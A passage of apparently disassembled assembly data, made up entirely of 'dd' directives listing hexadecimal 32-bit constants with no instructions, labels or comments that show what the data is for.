		dd 37F78A63h, 51752B50h, 294B3AEFh, 28EDB3D7h, 0C63C26B7h
		dd 0DDCB554Eh, 187C4C5Ch, 7129604h, 0FA4BB695h,	984C6226h
		dd 6A291DFDh, 0A2FA3294h, 3FC3D74Bh, 39A0464h, 353772Ch
		dd 0E93BDA10h, 260F115Dh, 71829F6Eh, 0FD7E2853h, 0F9251F69h
		dd 8EC15AAAh, 0AAFAA11Ch, 6DB54C4h, 36063964h, 59E7D91Eh
		dd 58B00651h, 0FC57EAF6h, 0FBB59A46h, 44DBEBFFh, 56AC8B4Dh
		dd 23B1A2EDh, 3D7D5CBDh, 0E7792B94h, 8AB0C8E9h,	0DF443E98h
		dd 7D20CD2Ah, 56055B4Ch, 681B6D37h, 22879B44h, 51A891C4h
		dd 0A70EB994h, 0B427B630h, 2EDC3808h, 87C1FF91h, 64279C2Ah
		dd 0D44D762Fh, 94CE3BC0h, 17D000F1h, 375CD6EFh,	424D449Ch
		dd 0EE7E27F6h, 9B0EFE58h, 647FFB6h, 63197945h, 3E512C3Ch
		dd 287216A8h, 4EB877E6h, 0FE842B91h, 3147AE9Ah,	0B6B5FD4Eh
		dd 6D583487h, 0ACC67869h, 73CE15CEh, 0DB041D1h,	2D129451h
		dd 2FB47794h, 0CB062E54h, 32A674D0h, 0B49CC33Eh, 1E1871AEh
		dd 10D012ABh, 92D3994Fh, 38EB2825h, 7F06FFCCh, 13331576h
		dd 2D9845B9h, 4FB59256h, 0A442EECEh, 35EFF98Bh,	48758BBCh
		dd 5EA167D4h, 53624186h, 6E095BE5h, 7E16E395h, 12D14883h
		dd 0E4393FF2h, 550C1C23h, 0F376F584h, 1011E98Ch, 7A3B51BAh
		dd 0DB301160h, 68F16AA6h, 0ED6CE9DFh, 66E36D4Fh, 3CCDEB3Bh
		dd 0D4DEC4EEh, 85D08728h, 0A5D7B6C7h, 5C3B7B67h, 0F42BCA81h
		dd 4777654Bh, 0F16270A2h, 255819A2h, 7F536956h,	0D104A14Dh
		dd 52D77A5Fh, 0A1296178h, 0CAE0FB5Ch, 5470D354h, 0CF2B1688h
		dd 0BE33A9B2h, 498CDF71h, 2C099A76h, 8898A321h,	0DA0B41BBh
		dd 70BA7CD6h, 30404B3Dh, 9A5FDDDFh, 83B2BFA7h, 4E1B6FA5h
		dd 581A3E01h, 70337BDCh, 7E9A32DDh, 8064D548h, 5AA7F989h
		dd 0D0B8122Bh, 289B9377h, 0C97CBA61h, 1F926D3Dh, 1F169487h
		dd 2DA230Ch, 2E8F2768h,	3A6DD114h, 23870CD8h, 9E9B7417h
		dd 0F2CFF316h, 17B19E25h, 640C9455h, 0D564EBB5h, 766388A1h
		dd 0E89AB43Fh, 0DC711C20h, 0E9F7BF79h, 39E710FBh, 0F914720Ah
		dd 0E9EE51B4h, 88DC16FDh, 8170CC06h, 0DC712601h, 81DB7FEBh
		dd 841E2700h, 219A94BDh, 0DC725370h, 20104380h,	1EC9A567h
		dd 0D13BBB9Bh, 0A82BFAEDh, 0F3942949h, 6EA8556Dh, 289D99EAh
		dd 0A69D9D59h, 6407B111h, 0E0B63A1Dh, 84C0BDFEh, 2DC2C711h
		dd 31DE4246h, 5AEC1B51h, 46F5624Eh, 0AC34B0C8h,	69947Eh
		dd 0C03BEB08h, 0CC9942E8h, 0E98DD545h, 526E60D1h, 0B1A0BBDFh
		dd 0CBEF7BE0h, 7062E3D1h, 8B8255D2h, 11A8DE7Ch,	99041146h
		dd 0E792C081h, 7589EF66h, 0ED0683AFh, 0D100BB07h, 0F96B41B2h
		dd 0D1A2A21Eh, 5A2FA6D8h, 3C059004h, 0F04BAEABh, 9099BD99h
		dd 0DD5426A4h, 7B41F198h, 99C6AFE7h, 0A81C08B1h, 0BC6740EAh
		dd 9C47DE23h, 0AEB6450Fh, 229F2217h, 0CACB69FDh, 0DD758F80h
		dd 0E190DC1Bh, 0F16526A5h, 0C591B526h, 6F5649A7h, 0CC676246h
		dd 0A4A0D53Dh, 1BA50D0Ah, 631F5093h, 5335CF16h,	0A416B5D0h
		dd 2D9731A0h, 0A4E0EE01h, 0A4A64682h, 0D4B159Eh, 0FDB0E29Dh
		dd 75F50EB6h, 0A5CFDE29h, 6F8E2FCEh, 6281BD90h,	0AC936BD2h
		dd 0AFFE0144h, 99E4CE97h, 6EF6DFE2h, 932EFFCDh,	0F949D65Dh
		dd 21458E3Ah, 7508B34Fh, 9C371FAh, 6017A31Bh, 0A0AE2B44h
		dd 475F7F4Fh, 0A9B778FFh, 0E9D29FC0h, 7A373C4Eh, 3D6DC310h
		dd 3735A8DBh, 0D46B3C0Ch, 0B404E122h, 7D48EF0Eh, 0E25092C6h
		dd 616611FAh, 0D1EA9FA4h, 1AC71878h, 9F48C198h,	8FDFAA2Eh
		dd 638F4764h, 0E9715E90h, 0A578C8FBh, 0AD93955Bh, 5C27E5D9h
		dd 0BCDA2F3Fh, 50A783ECh, 0DE26C9A4h, 53D29D2Ch, 0FED71BE9h
		dd 5F51A589h, 0A79C9B2Ah, 0E7F92Ah, 57ACF9A1h, 6996DA8Ah
		dd 3CB318F0h, 6195F9B5h, 67D4DC47h, 0C198CE7Fh,	0B0B8035Dh
		dd 92D8F9C3h, 0EEC5559h, 746FD594h, 0B57C4CB2h,	5481CE92h
		dd 85F11204h, 602E1A53h, 8B8D3095h, 52155FE4h, 0D3CE8897h
		dd 8DCBB589h, 8C53BEE5h, 0E40CA73Dh, 0AA03B291h, 6A838D33h
		dd 4814D9F6h, 99BF93EDh, 0E00AF977h, 20663D9h, 0A04D932Eh
		dd 8841D82Dh, 22A95A2Ah, 0DEE7A592h, 0CDA22F05h, 1E756E8Ah
		dd 0DF7E669h, 45C7DCF5h, 9FC46038h, 4C3961B8h, 0B365D8A4h
		dd 0ED21DAACh, 2338CAB2h, 66365A7Eh, 7173CCB5h,	0CC7D14FBh
		dd 0B7747FCCh, 340C996Bh, 0A2D17FCCh, 9E5D31DAh, 897ECFD8h
		dd 54D30128h, 59E66CBCh, 834FF231h, 573A6F74h, 71F51031h
		dd 6104ABDDh, 0AF05C9A0h, 0D9DE3195h, 62C6331Eh, 0E314CFE8h
		dd 90D107A7h, 7589DE97h, 6CFDF0FAh, 6973FBBAh, 0CF093C08h
		dd 0EF583858h, 0DCFD4531h, 77E253A4h, 6DF0F27Fh, 17425641h
		dd 0E5246BD3h, 0DFDC8D33h, 6F1C7009h, 2A9A124h,	0FC9E4B44h
		dd 0E3E4F560h, 0B2CF9025h, 8EC9C77Bh, 298E3B30h, 8458F1DCh
		dd 0CC89DEBDh, 568B5B8Ah, 59370446h, 0C797123h,	944A52F9h
		dd 1F9B3C77h, 3FAEA984h, 0D3883BB0h, 0B2754ACEh, 211FED75h
		dd 8024C557h, 907B7CF3h, 56196A3Bh, 778793B8h, 6A9AA325h
		dd 9ACEAF8h, 39574DA1h,	963EC170h, 94010686h, 0B0BFBA8Ch
		dd 142872B5h, 0BF6C104Fh, 0B2612ABAh, 0DA88EE1Fh, 0AF8C7BFCh
		dd 0E48F8B42h, 0CFFA62Eh, 5847683h, 500D3358h, 41F9778Ah
		dd 8130F7EAh, 6FC68633h, 0F07B4223h, 0E591EFC3h, 0C728877Ah
		dd 0AAFF7B42h, 0C556E4F3h, 0C7CD3543h, 9544CB26h, 0E4B017B3h
		dd 1F3B4BF6h, 39F62324h
		dd 86E4BB05h, 307C4D0h,	6E803016h, 2A7AC5EDh, 0D35DC446h
		dd 0C4CDF307h, 6DC8F403h, 448DB17Bh, 13A14464h,	0E16FA3B5h
		dd 372B387Dh, 0F0D42FF3h, 0A273CC52h, 0A5620C6Bh, 855F577Fh
		dd 805327CCh, 55601A48h, 0B96A8F5Fh, 87D4666Ah,	13FD9D30h
		dd 94E5B70Ah, 468499B6h, 0B4503655h, 0A30287B7h, 89867111h
		dd 0CE0D87E1h, 0EA706C1Ah, 72530C3Dh, 4443F716h, 1EFC5AEBh
		dd 1FA990A3h, 76229BA3h, 10F1F3Ah, 99D108D8h, 0FC4D7C8Eh
		dd 0BFF1EAE3h, 88B282A1h, 5FB75B8Dh, 0F0565A54h, 986DA5E8h
		dd 974A485h, 0D45CD03Dh, 0F24226EFh, 2326E6A5h,	0B0F550E3h
		dd 74D8CA71h, 0A13124EEh, 0E44A9028h, 0AD05E5FBh, 0AFFC89DCh
		dd 0B8499F13h, 3779F86Dh, 0F2CED976h, 0B64E7A5h, 0BC359E7Bh
		dd 0BFFE05BBh, 0F72AAD3Bh, 6FDC8338h, 2395E02Fh, 8ED0E684h
		dd 0A50A6011h, 0D620A423h, 90322B78h, 0BD69BA24h, 6E8BC433h
		dd 21F43A16h, 0AC63F094h, 0ECBE2EB3h, 6A66A58Dh, 50702695h
		dd 0C9685E09h, 73B5D93Dh, 0A3DE0BC9h, 45FD5D9Eh, 3BB04D7Fh
		dd 2BCD7C28h, 6CAC4D4Ah, 8BCDD0D4h, 18653B4Dh, 0BDD6C1h
		dd 271538EEh, 8F19243Ah, 15393A2Eh, 0ACC03F9Dh,	600A99D7h
		dd 59A37A94h, 2F2DA75Dh, 9A2BA809h, 4D30186h, 6DA42048h
		dd 9B8E83A4h, 407497BBh, 0B7C5BB43h, 0DB561FB0h, 0A51B9A88h
		dd 22027049h, 74B2B9B2h, 0BC0BF5ADh, 7BE46F19h,	0E1AE8EAEh
		dd 0A9175CB2h, 5B564C7Ch, 0C50C6513h, 0CA884C1Fh, 31469421h
		dd 0B5A72853h, 0E8AF348h, 0B5DA11F6h, 225C8BD2h, 0F6EFCEF8h
		dd 27E2C22Dh, 6B443514h, 0A0A9AA7Eh, 4B1D002Bh,	13E3D83Ah
		dd 0DCF41F3Dh, 0F79C41BEh, 2217791Dh, 0BC114E03h, 0B31F904h
		dd 9FD3C316h, 4E14C390h, 11AD7747h, 0B48193B0h,	0B2812E08h
		dd 44C368A9h, 4D0A082Dh, 2E2FE9CAh, 670246E1h, 70DDE3F9h
		dd 5A754CA3h, 6A8D2E8Dh, 147676AEh, 0B3533F6Ah,	0EC4213C2h
		dd 0ABBEE117h, 13C225B8h, 1415AD4Dh, 1861270Fh,	907ABFC6h
		dd 745EB2B2h, 3067360Bh, 2DA5139Bh, 986D5DC7h, 6E0071EFh
		dd 5E2C9DE3h, 0ACD4FB0Fh, 0A98AC891h, 0FC083424h, 40A7D1FCh
		dd 0BC7B5A06h, 0D23B91ECh, 1A3E04ADh, 0D3D87F58h, 1E7A4A2Eh
		dd 972DA2D2h, 0FE1CF0D5h, 33D85834h, 0D6259563h, 92D381CFh
		dd 7359B997h, 26E365B6h, 0F486D4ECh, 4FA4A8DEh,	6822F625h
		dd 4B8B620Fh, 5E56F236h, 0BE3291BEh, 0D4575AE0h, 468E35Ch
		dd 0D95A6111h, 0DC8EE579h, 32C5FEF8h, 53472B2Ch, 584A7C86h
		dd 86ACFAF3h, 0C5A6CC56h, 2FCD4594h, 0E3AB3580h, 0A430BF09h
		dd 92FD3F46h, 82F2D9BBh, 4AED254Fh, 0D622E786h,	7F1C7283h
		dd 3CC303ADh, 0EC166188h, 0C6356CBAh, 74F0CE03h, 0E112F0BBh
		dd 1F9DF9DEh, 0DDDC4A36h, 0E583DFAEh, 0BF1BB8AFh, 298CB0FEh
		dd 5275957Dh, 5ED7AA59h, 68712644h, 0C357D643h,	53E630AEh
		dd 0B4A2C73Dh, 374004C0h, 3F57C9C8h, 5DB5292Ch,	4197F4D3h
		dd 2C7AD9ABh, 0D877DB0Fh, 0E6646D47h, 1070ACC4h, 0B5B9FE27h
		dd 94179FD0h, 0BB0D50E6h, 0C3B73105h, 967735C2h, 2CAADB2Eh
		dd 0C57BD73Eh, 26D5D7F0h, 0AD091601h, 7DDD040Ch, 2A9565ADh
		dd 5429A92Ah, 0D1220793h, 94175D12h, 30BF0CB0h,	0FA4FEBE6h
		dd 2DBA3242h, 0D2F370A8h, 0C245D5D7h, 834BCC7Eh, 0A6603526h
		dd 299D3E8Dh, 0FBFCF6A5h, 9895DE4Eh, 93C4E01Fh,	1B60071Ch
		dd 4D949917h, 628F3B09h, 0C2992703h, 634894C1h,	9C12C304h
		dd 37908E13h, 93AB835Ch, 3260E011h, 6E06D43h, 1C67A355h
		dd 3C68A00h, 82C81FEEh,	7844E756h, 0E20F16EAh, 0DB32ECEAh
		dd 0FD587C7Fh, 0F96897D8h, 6D5015DBh, 44493702h, 1E3C22FEh
		dd 4A58D32Ah, 0DCB4AF9Bh, 53BF526Ch, 337E7521h,	1F7D5056h
		dd 489DFFADh, 0AA1D0A53h, 13DF7A5Eh, 162B6870h,	13E15FECh
		dd 88F7C950h, 41240EEh,	0D14278B7h, 0A22D4852h,	6754017Bh
		dd 4102E27Bh, 2BFA0A46h, 3FCF5D2Dh, 662EEF08h, 0EDDB26D2h
		dd 409D56F9h, 0EECB6E96h, 0C623C70Eh, 0C49EA394h, 44FAF442h
		dd 0CA9679E3h, 27969F88h, 0F9BF0946h, 6D8CBFD4h, 0C870AD5Ch
		dd 0DD3CF556h, 0CF26464Ch, 0DD6A3AF4h, 3765B04h, 8D0DB15Bh
		dd 0EE159F3Ch, 57D81091h, 0D1763933h, 0CB85FB0Eh, 22B21A47h
		dd 0B1AAE026h, 0BDC2C2A7h, 96E47844h, 370EB4E0h, 49A8B421h
		dd 8C492E4Eh, 0BDC03FD6h, 9A3116DCh, 0D95952D9h, 6BAFC8ECh
		dd 61CE1CAh, 294E9845h,	0DC53B5ACh, 0CD0B6694h,	0A5CB2F06h
		dd 0BBA58009h, 0A25D30DBh, 83E4A35Dh, 15FC29C3h, 0AB37E486h
		dd 0FCAEA094h, 0E2DD5D2h, 5CBF6ACBh, 0A39AB514h, 865333B7h
		dd 0C006E10Bh, 4D0DF29Bh, 69867D5Bh, 259988B8h,	0F541F39Ah
		dd 0EBFB0B93h, 5D34AC0Ah, 9AF549F5h, 55F00253h,	8EABAD75h
		dd 0B4AFE44Dh, 1AF4664h, 87DC6F1Ch, 0EE83645Eh,	83BAD489h
		dd 86F69474h, 495EFCF4h, 0F6EB2382h, 23F6A77Bh,	27910100h
		dd 56227E70h, 98A1275Fh, 0C80B833Dh, 6496E6D2h,	0C003A1FEh
		dd 0FFA19C0Ch, 0E0AE46B0h, 33277F2Fh, 5D9D6159h, 0F94227E0h
		dd 0FBBE75ACh, 0BB52FB5Ch, 699EB11Dh, 0E98E91EEh, 0B98E945Eh
		dd 585235D7h, 0FA899CE9h, 89001B93h, 0F8583696h, 4EF9A66h
		dd 0B29D5A4Dh, 0C5615BF0h, 0BE31AA64h, 42AA7B67h, 8DC3286Dh
		dd 48ED08FFh, 0D7D5BDA9h, 31EE98F9h, 463A74A7h,	75952AC1h
		dd 757CB8DBh, 71879434h, 73195205h, 0F5397D6Ch,	0FB880B40h
		dd 0ADD596AFh, 7B82F6C2h, 89544C72h, 38E40E17h,	0A6AA9B85h
		dd 0CAB4401Ah, 557879FFh, 2B3F11F5h, 0B2A7E1AEh, 0BC318881h
		dd 0C4F8BECFh, 8B4D095h, 0C8145A36h, 0A6BAB1DEh, 0D92583E8h
		dd 783C0A73h, 0CA62FEDEh, 3E529A98h, 0CDEA7B07h, 0BE3050DBh
		dd 68E92EB6h, 0A4F269FFh, 69F3B6D3h, 0ACF8E2CDh, 20E0FBE4h
		dd 8CD993DBh, 9AE5FA0Ah, 1276DBC5h, 7C10E7E2h, 0F2701041h
		dd 0F3BA1BCBh, 7F288DA2h, 6707A3A0h, 4737AFDAh,	5BBE9515h
		dd 0B7BE3A32h, 77851B87h, 0ECBD4B58h, 2EA14599h, 0E73AB3B2h
		dd 4F8B8D56h, 3AB0C449h, 0AE2434DCh, 0FC7C01D7h, 3C0E442Bh
		dd 2C0FA00Dh, 793E6BF1h, 0E0134F21h, 3038ADB4h,	61CFB4EEh
		dd 0ACB4B095h, 0D89C4871h, 0A1CB2C75h, 0E172F936h, 1D0E4175h
		dd 3950E0C8h, 5ED6BF6Eh, 63E8ECCFh, 5EA490D9h, 967EE209h
		dd 0DD8F9EFAh, 37E5E02Bh, 9768CFD7h, 27C1B427h,	364BD044h
		dd 20416AF2h, 307EF7A3h, 0D9BFD0Eh, 0BBFAED24h,	6B63F2BFh
		dd 0D3DFC9D6h, 7C2D51C1h, 34DD0B49h, 8E85CE97h,	5FD04179h
		dd 7134BB96h, 901C0411h, 91824D3Bh, 20C2B24h, 0E923B8BFh
		dd 2B94C367h, 301EB323h, 28BF88ECh, 3AFF62Fh, 2A95DAC4h
		dd 0FFBE9BEh, 17E27CA2h, 0C4D8016Dh, 0D5CD8902h, 20B26A83h
		dd 911B00A9h, 0A2251748h, 0EC26045Ah, 0ED0C5658h, 8FE36525h
		dd 9D079A0h, 0F4A44556h, 2548E516h, 9D4828F3h, 8A21BA37h
		dd 0BC5C2F5Eh, 92F67D10h, 33A8C2h, 0C46E2187h, 2A6E729Bh
		dd 0CDA7F6E3h, 0F4F14660h, 0F355FFEBh, 14D7206Bh, 0FC36B7A3h
		dd 0A5D22105h, 0D281964Dh, 0DDF03B6Bh, 0AB3512CBh, 0F3EDC5A1h
		dd 617AC472h, 1128847Dh, 199DFF3Bh, 99199163h, 24F10126h
		dd 645A75BAh, 9DB53000h, 0CB2A94DEh, 8136EA77h,	0FC82DF89h
		dd 0E8A845C5h, 0D72B57B8h, 0E0E35FFDh, 95597C03h, 0AC85BE67h
		dd 0C10FB6AAh, 2BD2FA49h, 0A790ADB9h, 0BAC12E82h, 0EA79DA5Bh
		dd 0D6E7BEECh, 0A2BA5FA6h
		dd 0A850F374h, 92731FEEh, 216312CEh, 3CF93E6Ch,	4BF2C164h
		dd 6AD19691h, 9A024B46h, 50F967ADh, 0BFEF3310h,	126EB6E4h
		dd 0F54BB58Eh, 0F76AFD1Bh, 43713CFAh, 0F9FD24B4h, 0CBF36D84h
		dd 0D4E3B9CFh, 802AB6C3h, 0CF0924DBh, 0F70521E3h, 0DE43C4CDh
		dd 5ABC0E25h, 0F46DD220h, 0D3FE1180h, 0FFCA5A6Fh, 7202F376h
		dd 0D97B8E46h, 7933B204h, 0B96F2135h, 71A18C60h, 577F407Ah
		dd 7CE738F2h, 9979731h,	0B71CDB35h, 6E681D08h, 0ECF0667h
		dd 0D8EB016Bh, 0CB64E76Eh, 88089A2Ch, 0B3A91F5Bh, 42B55A2Ah
		dd 72AD97A6h, 513175DBh, 94903CE2h, 0BE062668h,	9C62C5D9h
		dd 33D67C29h, 8515B448h, 266C2DFAh, 937B51ACh, 0DCADAD3h
		dd 0B90CBF84h, 39F31FE3h, 850EC6B6h, 4CCA5B49h,	0F4971845h
		dd 0DE7DDE3Fh, 0C23A58BFh, 0CBD260BEh, 759268FFh, 250D4CFCh
		dd 20518897h, 6442C74Dh, 0BDF35F4Bh, 7C335164h,	6F774324h
		dd 0AEE91070h, 0D72DD976h, 0FF185FEDh, 0D943E807h, 545FDB22h
		dd 0A964301Ah, 341F680Dh, 7584180Bh, 2DDB6184h,	0A990820h
		dd 800F3CAEh, 2AD95140h, 0F3263D16h, 0BA8BD9DAh, 2AE32EECh
		dd 0A7F2D26Eh, 72DF710Dh, 3AE54F18h, 0AE475D07h, 44901ABAh
		dd 75FE637Ch, 0D35BAE81h, 0ECBFCF71h, 0D7968716h, 0A26F3C34h
		dd 0BD06EB2Fh, 74600839h, 0B6B86B9Fh, 8004CACEh, 0ABA9F104h
		dd 0E8BCDF26h, 18264FF8h, 80007210h, 1A712CF1h,	5D6D6580h
		dd 0F600658h, 841D0259h, 6FAE8DF5h, 0A5CD48DCh,	0AF79B240h
		dd 61E13976h, 84A02557h, 2889255Ah, 53166638h, 0D63854CDh
		dd 618130D8h, 0C597F7Dh, 0C9BD5824h, 54AFCA53h,	0F99AC198h
		dd 0D936E363h, 122263D2h, 5C3E66A0h, 0EAA7BA86h, 8A31DDD9h
		dd 0A42FB23Ah, 42922A1Fh, 2FD253FFh, 665C3E85h,	0A5A7AD1Ch
		dd 0D90D423Ch, 27071AE4h, 1D3A753Fh, 0A4B4B1CCh, 8481CDABh
		dd 25EE1F74h, 41EB6C73h, 15C21513h, 0C3B17CF1h,	10672120h
		dd 5DF3B990h, 308E6910h, 0B81F4E63h, 0E281104Ah, 6AC6B237h
		dd 697EDC61h, 4744DBD9h, 8573405Ch, 60F4CA44h, 60B4A7D4h
		dd 0A5251F0Ah, 4B13C705h, 0ADF260F0h, 6C75C1B5h, 0BBBCACB5h
		dd 6E23F358h, 0B5438595h, 6D850619h, 0F7EEB921h, 0CD08B2BBh
		dd 5B070772h, 72EF9A65h, 0D4BE9840h, 0E28D76DAh, 5792323Ah
		dd 96F46BCh, 423DB79Eh,	0E78E9C61h, 1434D32Fh, 0F412D653h
		dd 0D26BC054h, 0A228931Bh, 1C2564F1h, 1E803480h, 672D587Dh
		dd 526EED56h, 0B17B7ED4h, 0E4603378h, 41AF4C99h, 0E884992Eh
		dd 0BEC217A7h, 50C9AB9h, 5D2A4793h, 71DDBC1h, 42E1EDD3h
		dd 0F9C7DA82h, 0DB7525F2h, 7D4F95D6h, 0E1E996F1h, 24245239h
		dd 4D331E6h, 76D9934h, 0C32FFD36h, 329189D6h, 66EC5FE3h
		dd 39AA47C5h, 0F17ECEC8h, 205E4BFCh, 71370511h,	0F7B1E4Bh
		dd 94762FE0h, 0BB3D0A88h, 3746B0B3h, 4B355B4Bh,	804443D1h
		dd 0B3C04988h, 7788721Eh, 4F1CF816h, 7645ECC9h,	0CC6E7779h
		dd 30D1573Ch, 42BF9554h, 0DB346FB0h, 0E7F99E81h, 2EE0Dh
		dd 0FEF92E35h, 961D1E5Bh, 0BAADEA3Bh, 83BC9A9Ah, 0E0D5C245h
		dd 2AD28F79h, 0D2389A0Dh, 0BBD596F4h, 8E733528h, 0C7884429h
		dd 0C758363Fh, 716F994Ah, 48DB0347h, 906C9A8Fh,	0EA77B575h
		dd 0BEBC6463h, 0EA55EE1Ch, 21606A08h, 0CC419E54h, 0D919A8Eh
		dd 1D48B251h, 0B6FE0517h, 73CA9854h, 0CF0BED90h, 1E1E2267h
		dd 393C5111h, 0F53081AAh, 0DE10FEA6h, 0DA660E26h, 0EDE65304h
		dd 989DCC6Ah, 124BEF2h,	351871F7h, 0BD79B0DBh, 893AF50Fh
		dd 1B147948h, 7AFDD57Ah, 6D5E44DFh, 21963B1Ah, 231BAE4Ah
		dd 3FEEE473h, 0A4692D2Bh, 809D7833h, 49218B6Dh,	5A047154h
		dd 27CC96FCh, 0F37CA720h, 8ABBC1DAh, 0A19C84DFh, 7DE4210Dh
		dd 0F5076C3Eh, 6805C6BFh, 6A5CFC62h, 5CFA006Ch,	0AA1AE6EDh
		dd 21BED3E8h, 6F7AAA43h, 0D77366FDh, 0EF02A3F9h, 16C860A2h
		dd 0FB8539D0h, 977A513Eh, 0D7F5EB3Ch, 0B41CAB3Eh, 0CCFB6D38h
		dd 0CBD38CE9h, 0ABECC601h, 0C204B221h, 0DE8DF0Ah, 9B3744CCh
		dd 0B122055Bh, 9AE0BAE2h, 0DF2E9468h, 3BB57A35h, 773F43F1h
		dd 0EA2672h, 6ED95BACh,	0D581F172h, 703CCE3h, 6865F403h
		dd 4D2B42A7h, 0E4F85592h, 4F8E80EBh, 469F0751h,	2B0C5F23h
		dd 0C5CA6890h, 97E66C02h, 5FDD4B71h, 2F517EE4h,	0BE3D39E7h
		dd 14C01C57h, 73FF5958h, 0CDFBBD13h, 70F9B899h,	153AF13h
		dd 249460CCh, 0A958BD69h, 0EBA8791h, 38B1C0Dh, 529CB665h
		dd 943E97DBh, 0F60D41FAh, 0A1B7A1AEh, 0A07EF157h, 562C7D42h
		dd 7D01467Eh, 0A2CA7483h, 4DD8CCEDh, 0DD271E67h, 0A991CE39h
		dd 36BA885Dh, 3AE6698Dh, 0AEC7EBD2h, 3EFFCF39h,	752F9B6Ah
		dd 0E23F82A9h, 38713E39h, 0E0481677h, 1708BB0Bh, 0DF85C586h
		dd 0B217EA1Eh, 3A434689h, 5056A964h, 0DAE69520h, 0E1AA7E8Eh
		dd 0B3C77B1h, 0BC94C2EDh, 49F9C7C2h, 0CF886ABh,	7829226Dh
		dd 0B55359h, 39080A60h,	30CBAE6Dh, 99A7656Ch, 6B141C4Ch
		dd 0C8A826DDh, 20329044h, 14BA999Fh, 153A0EC6h,	955198BFh
		dd 0B4DD6251h, 0A7D77C17h, 89FB8B53h, 6927B2Ch,	6196D9B5h
		dd 9E97F1Ch, 9BDC3726h,	0EB6320C7h, 0F9F58571h,	0CA23896h
		dd 8CC0D10Ah, 7D8A6E7Dh, 0AA089873h, 0BCBB24h, 3D4F975h
		dd 115A93D6h, 4599DB32h, 960D762Dh, 49D17B26h, 85FE7DCEh
		dd 5BE3B548h, 0C1B893ACh, 42476311h, 0A6F56E71h, 0D07CD488h
		dd 72DD59A8h, 84F180A0h, 261FDF4Ch, 7F977D5Fh, 90E08D08h
		dd 0EF8838DBh, 0D98298E4h, 0D4A008DBh, 9E90C0BCh, 82555D58h
		dd 0A237FE78h, 4BEF22B9h, 6A834BB5h, 0A6759692h, 9D1566ACh
		dd 2D9B3CCEh, 0EAB9CFC5h, 0E367CB53h, 9E8877C3h, 0EA48C486h
		dd 3F0D5B28h, 255E17A1h, 9B75E7BCh, 0F9460073h,	9BFA5129h
		dd 0D796F520h, 0B5CC419Ch, 782C4401h, 5CD725DAh, 953E38B1h
		dd 33E7DD07h, 105B1221h, 0E15B6BCAh, 0BD67A971h, 23FA25F7h
		dd 0D802322Fh, 0E21265B7h, 3C4E90EEh, 0DF944169h, 5346187Fh
		dd 8CAC95B0h, 0E676392Ch, 77EDE140h, 4796BE4Fh,	92EAA484h
		dd 51CE2469h, 1FA9D90Eh, 377022Fh, 8EBC2FA3h, 4FEDBFABh
		dd 9FAABDB2h, 0A7E77C7Fh, 28DD9FDDh, 828FFEBh, 29BEA599h
		dd 0E02FA824h, 9E5F5FE6h, 8AF1D296h, 99B021C4h,	3A992CBAh
		dd 6B258889h, 7158BE36h, 8FEFEC88h, 0A29BC6C8h,	5A6A2782h
		dd 0C40733B0h, 0C00DCC47h, 560EF8D0h, 316D5E33h, 46EFD939h
		dd 0F29B3CD6h, 0F90F6B78h, 8ACC9866h, 75D74104h, 39042D92h
		dd 0A01F69A0h, 0A0F27299h, 3C8FE48Bh, 0F25774F4h, 0A34C95C9h
		dd 6E73ECA1h, 7926433Bh, 883DA0FBh, 7A4AC75Eh, 894C4791h
		dd 2499B2FCh, 0AEF121D0h, 3B6DE1C8h, 4EB1AFB0h,	0EA965655h
		dd 0A7393983h, 3556D34Eh, 950AFEFAh, 1638044Ah,	72D41387h
		dd 245C9FF2h, 0B04A9DAh, 0FC371CB2h, 0F2C47F77h, 0ACBAAEC8h
		dd 0CC9C4B5Fh, 544A4511h, 444EE714h, 652A0A34h,	0D6B6945Eh
		dd 6AC627FDh, 6E9B9D51h, 62CF99BEh, 50733376h, 48D49873h
		dd 34F19CF4h, 7B081649h, 2F15BDE2h, 8DFFC91Eh, 81F94455h
		dd 99BCAEDh, 69AA7713h,	660465E5h, 32095F61h, 0A18A8FD5h
		dd 31C3AD48h, 0C3027F16h, 451C8D25h, 31156C91h,	53143B22h
		dd 8656E40Dh, 52EE710Dh, 836CC97Ah, 477B1FEh, 0CC4E7AFCh
		dd 80E71D65h, 0CDDEE5F4h, 8628F3A7h, 372A5F82h,	49CBD16Eh
		dd 33E4161Bh, 10D415B1h
		dd 854C5F2Eh, 0C19B545h, 0E767FEE6h, 8D403465h,	1E2FCBD0h
		dd 3B38846Fh, 0D963F8BBh, 0E24B2520h, 95ADF168h, 0A8282CF6h
		dd 3E8A1BFBh, 1992594Fh, 860A3264h, 0F4987941h,	9A61D803h
		dd 50AD430Ah, 0AFA8521Fh, 98914B1Ah, 7A2BB572h,	40B19209h
		dd 15A90583h, 0D6997519h, 246A374Dh, 0CE438C7Bh, 0B54F1C28h
		dd 0E0873049h, 22AA476Eh, 0B84EBDB7h, 3E47C60Ah, 485963B7h
		dd 0B45B555Ah, 0D94F50AAh, 2E5AD713h, 8C122BDEh, 4AF2E77h
		dd 0ED98AE97h, 178A18C1h, 6E167D30h, 0B069A5B2h, 0D0B3BA44h
		dd 3C0B1E3Fh, 851331B4h, 3A73F380h, 32A0D607h, 5C5C8C8Dh
		dd 0E57F5134h, 98842C10h, 6C4D158Dh, 0DFD68594h, 0D9486A45h
		dd 6D8F981Dh, 8C44E738h, 8615C9B5h, 196E5E43h, 897D1D16h
		dd 61EB13EFh, 7D8BDCC2h, 0F290FF6Dh, 0C4A2E27h,	2F53DBh
		dd 6A00EF52h, 0E0DAE83Eh, 9D999E5Dh, 0ECE318F6h, 0C4FB4A02h
		dd 7D1F4006h, 32046ADEh, 9A3583EDh, 0FC0C5568h,	0CFA6AB13h
		dd 0C3BDD49Eh, 5F32090Ah, 8045FBF2h, 8DB2FA5Bh,	0EAA9C65Bh
		dd 7E774DDFh, 722FE8A4h, 9F6E1F7Bh, 0B6872389h,	5C63A676h
		dd 57573712h, 2449A23h,	47DE6776h, 0A63D375Ch, 46F5D23Ah
		dd 0BF16581Ch, 5D116C14h, 0ADED739Ch, 79F675EDh, 3F96617Ah
		dd 680C0E37h, 0E47BCB6Dh, 0CDAF6125h, 0A08EF27Ah, 1AEA7820h
		dd 0D7667F81h, 43F6120Ch, 0BE648D26h, 92280975h, 71DE72F7h
		dd 0FFC4C7BDh, 14087FDDh, 1E88F91Ch, 0E256DF1Fh, 0CC545777h
		dd 5D3ECB15h, 0C7FB2B00h, 0B9AE3349h, 64BE3611h, 150CB0C0h
		dd 0B491E03h, 61A8ACD3h, 0D462583Fh, 2045A460h,	68A22319h
		dd 0BB93AA1h, 7D7519F4h, 0EEBE323Ah, 0FF63A877h, 0F19697C1h
